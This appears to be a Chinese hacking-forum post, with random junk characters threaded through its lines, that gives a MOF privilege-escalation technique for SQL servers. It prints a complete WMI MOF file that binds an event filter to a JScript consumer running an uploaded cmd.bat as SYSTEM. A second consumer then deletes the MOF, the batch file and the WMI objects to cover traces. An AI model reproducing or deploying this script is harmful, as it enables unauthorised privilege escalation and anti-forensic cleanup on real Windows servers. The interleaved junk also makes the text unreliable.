这个sql提权MOF需要运行 system下的文件,不能定义路径。
- U m3 i0 N; n8 M2 c: c& ]需要将要运行的命令写入到bat上传到system32目录,然后执行。: @. U l- h7 O1 @( ~8 d0 h
) J, C( w4 I6 |9 ]
这个sql提权MOF需要运行 system下的文件,不能定义路径。
% e X6 \4 i/ }需要将要运行的命令写入到bat上传到system32目录,然后执行。: a7 }5 Z# u# I2 a: u* s& h
2 p& T$ W9 ~0 k: l' D#pragma. v1 E" H3 F- m$ r+ R/ |1 C
namespace("\\\\.\\root\\cimv2")
0 S' U& w0 L3 o' W8 ^0 ]% c @9 f class
7 |4 r; i/ A: c ~7 s9 l! [' x MyClass547
" [1 C+ }# v8 K( [9 w { [key]
2 M% F: N' g" D7 {2 |( Q; ] string
! |: D. u- U8 R. ]5 D Name;2 T4 `6 p* R# w( J
};
; y7 T& X/ a& _/ L% p9 R class
2 t' n( G" {6 z9 J ActiveScriptEventConsumer+ t* }8 c7 O/ K, X$ K2 }
: __EventConsumer { [key]2 p, D& e$ i; F) l) B% c# I
string
4 M) D8 j2 ]4 X+ z9 t Name; [not_null]3 U/ |6 o5 m, k( m+ c9 e
string
% Q6 i2 o) l; ]; Q ScriptingEngine; string
0 n: ^' w8 ~3 p7 T0 X$ F- O1 S ScriptFileName; [template]
" r* [) E: N y# ^: y string
. ^, p1 U' e; {( G4 z" H+ k ScriptText; uint32 KillTimeout;6 J- _! A/ F4 y7 o! C6 {+ g# r9 K
}; instance of __Win32Provider as $P {; p; B% m8 X: v$ H
Name
+ n* ^* R, I6 f+ q% E5 V0 U9 f" A =
. s8 m$ k0 u- X# [+ c) ^ "ActiveScriptEventConsumer"; CLSID =
1 v3 H7 m& B+ p1 ? "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";2 Q$ P3 v' Z) S! }3 F
PerUserInitialization
+ U+ _7 \! a+ B, v( `) V! `1 `7 ?5 ] = TRUE;' N5 a; p- g, v, Q& o" d
}; instance of __EventConsumerProviderRegistration { Provider
7 b) q- ?6 ^! {! p! ]% C% t" `+ k = $P; ConsumerClassNames. Q5 E6 v! E2 d& j$ C, o
=6 O F4 i) J0 a
{"ActiveScriptEventConsumer"};: O# R2 O+ f3 p! W
};
( Q+ S8 x3 P& G Instance of ActiveScriptEventConsumer! v2 ~$ i. H b
as $cons { Name
, k! W# @! @7 G4 W1 R =. a. z. p, F8 u* x8 I
"ASEC"; ScriptingEngine
2 K: M: { N8 k2 c =& F* g% ^ P8 l9 g1 d
"JScript"; ScriptText( l% L* Y, s" d4 B9 A& m c4 T
=. |( ` @7 E P
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
# h& i' u+ [- B, U6 s Instance of ActiveScriptEventConsumer
+ A' N+ ` i9 w# F' A4 e3 I" H7 q0 s as $cons2 { Name
( w( }2 \& N( N/ }6 d8 Q =
4 f6 W4 i4 b# w6 ]2 o "qndASEC"; ScriptingEngine
! c$ ^9 g9 k5 B. S =
) G Z# g+ D0 a! W. S: | h; E "JScript"; ScriptText! G: V+ Q! T. z$ b
=7 p! y# }( |5 Y2 M- M+ L$ j, ]
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
/ l; _. M4 W2 k6 L( r' J2 S }; instance of __EventFilter as $Filt { Name2 m5 y1 P, S3 f, f
=
) v7 Q3 d' |) A5 N# u "instfilt"; Query
7 K8 |; |5 }5 c, D) z. D; F. V/ f =! R( y/ f: q+ C! W4 _
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
4 Z; Y; C- T0 C# Z2 t' B' V% K7 R =/ v; I# Z$ r B: p8 F& u7 J
"WQL"; }; instance of __EventFilter as $Filt2 { Name
8 U5 q5 \3 g h; ?0 @ =" ], E. V/ I/ w9 d
"qndfilt"; Query! v0 }3 Z8 L& q) D" Q3 y( u
=
- {' \7 C. z& T% K7 M "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage8 J l$ H2 Y6 O. A' E
=# l' o5 c2 R, [+ s4 l. T
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer1 x/ Y. U( _5 a" {
= $cons; Filter
2 l5 C: R9 r6 u' d1 f = $Filt;! ]* Z8 P! f2 U( V
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
) h0 [7 h: {: `! c* F$ q8 N = $cons2; Filter
7 n" Y8 |7 z) j9 L, [% y9 \ = $Filt2;( ^ C; d" X$ E5 p# G
}; instance of MyClass547
0 v/ p# K) x( T7 K# M5 `+ I. Y% h3 s as $MyClass { Name) J! O" F) s- t3 |! l1 ]
=! o0 |$ z, ?5 F% C. m
"ClassConsumer";8 }9 p$ }1 V& x1 t+ P& Q; r" X
}; |